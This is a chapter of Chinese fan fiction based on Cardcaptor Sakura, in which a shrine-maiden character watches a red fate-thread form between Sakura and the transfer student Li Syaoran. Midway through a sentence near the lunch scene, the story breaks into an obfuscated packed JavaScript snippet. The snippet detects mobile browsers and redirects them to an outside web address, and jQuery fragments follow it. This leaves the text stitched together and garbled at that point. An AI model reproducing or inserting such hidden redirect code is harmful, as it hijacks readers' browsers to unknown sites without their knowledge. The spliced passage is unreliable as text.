李小狼转学来的那天,友枝町下着小雨。


    不是那种倾盆的、痛快的暴雨,是四月特有的、细得几乎看不见的雨丝,落在脸上凉凉的,不打伞会觉得烦,打了伞又觉得不值。


    镜撑着伞走到校门口,胧没有跟来——它说这种天气出门等于免费洗澡,不如留在家里替镜补昨晚没做完的结界维护。镜让它去了。反正今天学校没有灵脉异常的报告,多一只猫在房顶上巡逻也不影响什么。


    她在鞋柜前换鞋的时候,听见走廊尽头传来一阵压低了声音的窃窃私语。几个女生凑在一起,话题的关键词断断续续飘过来——“转学生”、“香港来的”、“男孩子”。


    镜没有凑过去听。她把伞收好,甩了甩伞面上的水珠,往教室走去。


    四月是转学生的季节。换作平时,这件事和镜没什么关系。一个转学生从香港来、从东京来、从任何地方来,都不会让她的善后清单变长或变短。她只需要继续每天放学后安抚被库洛牌惊扰的灵体,继续假装自己只是个普通的小学生。


    她在自己的座位上坐下,把课本拿出来,翻开,然后侧过头看了一眼窗外。雨丝打在窗玻璃上,一道一道往下淌。窗外那棵银杏树在雨里站得很安静,树下没有人。


    “镜——早上好!”


    这个声音准时出现了。镜转过头,看见木之本樱正站在她桌子旁边,书包还没放下,脸上带着一种每天早上都像是被阳光充满电的笑容。她今天手里多了一个小小的便当盒,外面裹着粉色的风吕敷。


    “早上好。”镜说。


    “镜你看!今天我自己做的玉子烧!”小樱把便当盒举到她面前,表情像一个刚完成期末发表的小学生——事实上她也确实是。“虽然有点焦——你看这边,这个角是不是有点黑?但是知世说第一次做已经很厉害了——”


    镜看了一眼那块玉子烧。确实有点焦。但她没来得及说“给我尝一下”,因为她的余光忽然被什么东西拉走了。


    教室的门被拉开了。


    班主任寺田老师走进来,拍了拍手示意大家安静。他身后跟着一个人。


    一个少年。穿着友枝小学的制服,领口扣得整整齐齐。深棕色的短发,眼角微挑,脸部线条偏尖,肤色比班上的男生偏深一个色调。他站在讲台前,背挺得很直,书包双肩背着,拉链拉到头。


    “大家好,”他说,声音不大,但吐字很清,“我叫李小狼,从香港来的。请多关照。”


    日语很标准,带了点微不可察的中文口音,每个音节都咬得很准,像是预先背诵过很多遍。他的目光在教室里扫了一圈。漫不经心地扫过第一排,扫过第二排,然后停住。


    小樱。


    那道目光停在小樱脸上,停了一拍。不是打量新同学的眼神,也不是害羞的偷看。是确认——确认这个人是不是他要找的对象。


    小樱正举着她的便当盒,和镜分享她第一次做玉子烧的成绩。她完全没注意到自己被盯上了,还在小声说“下回我放少一点盐”。


    镜没在听小樱说什么。


    因为她看见了一根线。


    红色。极为纤细,却异常清晰。从小樱的胸口穿出来,另一端准确无误地连到那个香港转学生的身上。


    不是黑色的。怨灵身上的是黑色,黏腻的,像被拖长的污泥。不是白色的。幽灵身上的是白色,半透明的,像晨雾里断掉的蛛丝。不是浅蓝的、淡粉的、柔黄的——普通人之间的缘线大多是这样,飘飘忽忽,像被水稀释过的水彩颜料,被风一吹就会歪。


    这根不一样。不是一根漂浮不定的线,而是两根——一根从小樱那头伸出来,另一根从他身上伸出去。两根线正缓慢地、试探性地靠近彼此,像两根刚从泥土里探出来的新芽,还没缠在一起。


    镜眨了眨眼。


    “镜?你怎么了?”小樱歪着头看她,“表情忽然变得好严肃。”


    “没事。”


    镜收回目光,把课本翻到下一页。但她的脑子没在课本上。


    外婆说过,红线是极少出现的缘线品种。它不是现世的缘分,不是“今天一起吃了便当所以多了一根线”的那种浅层羁绊。它要深得多,也远得多,带着某种连往生都无法完全切断的东西。


    安倍信子还说:如果你哪天看到了红线,不用急着去动它。红线不需要巫女去结,它会自己长。


    ——但您没说,这东西竟然会出现在两个小学四年级学生身上。


    “镜,你是不是没睡好?”小樱还没走,端着便当盒站在她桌子旁边,凑近了看她的脸,“你今天早上吃了什么?”


    “……煎鱼。”


    “哦!那就好!”小樱弯起眼睛笑了一下,跑回自己座位上。


    镜看着她跑过去经过李小狼的座位——两个人对视了一眼。只一眼。


    那根红线颤了一下。


    上午的课很安静。


    小樱在听课,做笔记,中间被寺田老师叫起来回答了一个数学题。李小狼坐在她后排,全程没说话,但每隔三分钟,他的视线就会越过桌面,落在小樱的侧脸和后颈上。


    小樱每次被盯超过十秒,后背就会微微僵一下,然后假装不经意地侧过头,用余光去瞥那个从香港来的少年。她在偷看他。她在偷看他有没有在偷看她。


    镜用笔在本子上写了几个字:你俩不看彼此会怎样。


    然后她把这行字划掉了。


    因为答案大概是“会死”。


    ——不,不是会死。是会一直这样互相偷看下去,一个假装在找铅笔,一个假装在看黑板,然后那两根红线就会在没人注意到的时候慢慢往对方身边挨。她已经看到它们在挨近了。


    午休的时候,镜和平时一样在教室里吃便当。小樱搬了椅子挤到她旁边,把自己的便当盒打开——玉子烧果然有点焦,但小樱似乎完全不在意这种事,夹了一块塞进嘴里,腮帮子鼓鼓的。


    “镜,你觉得那个转学生怎么样?”


    镜的筷子停了一下:“什么怎么样。”


    “就是——他好像一直在看我。”小樱压低了声音,偷偷往李小狼的方向看了一眼,然后又飞快地收回目光,“你说他是不是——是不是觉得我很奇怪?”


    “为什么。”


    “因为——”小樱凑近镜的耳朵,“我今天早上跟他打招呼,他没有回我。他只是一直盯着我看。”


    “也许他看所有人都这样。”


    小樱歪了歪头,似乎觉得这个解释很合理,但还是不太满意:“可他看我的时候和其他人不太一样。我说不清楚。”


    镜咬了一口煎鱼,嚼完吞下去才开口:“你觉得是怎么不一样。”


    小樱想了很久。窗外雨停了,云层裂开一道缝,阳光从缝隙里漏下来,落在窗台上。小樱看着那道阳光,表情很认真,像是要从光里面找出一个精确的形容词。


    “好像我穿了一件只有他能看见的衣服。”


    镜的筷子又停了。这一次停在半空中,像是被什么东西轻轻拉住了。


    “那你呢,”她说,“你是不是也在看他。”


    小樱的脸一下子红了——不是害羞的那种红,是被人戳穿了却不打算否认的那种。她把便当盒往怀里缩了缩,声音压到极低:“才没有。”


    镜没有反驳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536078|203812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。她只是低下头继续吃自己的饭,嘴角弯起来一小角。


    下午的课,小樱和李小狼继续互相偷看。具体频率大概是小樱每五分钟看李小狼一次,每次看三秒;李小狼每三分钟看小樱一次,每次持续的时间从一秒到十秒不等。这场无声的互看循环大概在第五节课时达到了顶峰——两个人同时侧过头,正好对视上讲台上老师正在讲解什么。小樱的反应是把头迅速转回去,撞到了自己的笔袋,铅笔盒啪嗒摔在地上。李小狼的反应则是把视线收到课本上,但盯着一页没翻过去。镜在旁边冷静地嚼完她带来的最后一小块饼干。


    ——这两人完全可以组一个双人转。


    放学铃响了。镜收拾好书包正准备走,却在走廊拐角处听见了一个声音。


    “把库洛牌交出来。”


    镜站住了。


    走廊的角落里,李小狼堵住了小樱。他的背挺得笔直,双臂交叉在胸前,气势不是虚张声势,是货真价实的自信——一个从小训练、从香港专程赶来、知道自己有资格接管这堆牌的人才会有的自信。


    “你身上有库洛牌的气。我是库洛·里德的远亲,从香港来的。库洛牌不该由你这样的外行人来收集——交给我。”


    “不行!”小樱攥紧拳头,声音有一点发抖,但眼睛没躲,“书是我打开的,牌是我放出去的。它们应该由我来收回来。”


    镜靠在转角的墙上,没有走过去。


    她看见那两根红线正在剧烈地晃动。不是要断了——是两端都在往对方的方向冲,但中间有某种看不见的力量在把它们弹开。像两块同极的磁铁,拼命想靠近,却还在被自己排斥在外。


    不是现在,镜想。不过这种距离保持不了太久。


    走出校门时,雨已经停了。阳光从云层边上漏出来,把路面未干的水坑映成一片一片的碎金。小樱和知世走在前面,小狼隔了半步跟在她们旁边,距离不远不近,介于“我和你们同路”与“我只是恰巧走同一个方向”之间。


    镜远远看着他们三个人。知世侧过头说了一句什么,小樱笑起来,小狼把头别向另一边。三个人都穿着白色的校服,在雨后的阳光里看起来像是刚刚洗过还没有干透的纸片。


    胧从鞋柜上跳下来,无声无息地落在镜脚边。


    “那个转学生身上的灵力波动很强。不比小樱弱。”


    “看出来了。”


    “他和小樱之间好像有东西。”


    “嗯。”


    “是什么。”


    镜把伞收起来,往回家的方向走。


    “现在还不知道。”她说,“但它还没开始。”


    胧的耳朵转了转:“你怎么知道还没开始。”


    镜没有回答。她只是想起外婆说过的话——


    红线不需要巫女去结。它会自己长。


    回到家,她把书包放下,去厨房倒了杯水。窗外那棵银杏树在雨后的微风里轻轻晃着叶子,树下的老奶奶今天不在——大概已经被她送走了,也大概只是转移到了另一个角落。镜站在窗前,看着湿漉漉的院子,想起今天看见的那两根还没拧在一起的红线。


    那是她第一次清楚地看到某种超过她能预测范围的浓度。比库洛牌深,比库洛牌久。她当巫女以来处理过别人的旧缘残迹,送走过还不肯化为新缘的死结,但一根活的、正在生长中的、即将改变两个人的命运的红线,是第一次被完整打量。


    她不知道李小狼以后会怎样。但她知道,从今天起,这个从香港来的转学生会站在小樱旁边,和她一起走进所有还没发生的事情里。


    而那根红线,会在她没有看到的时候,悄悄长好。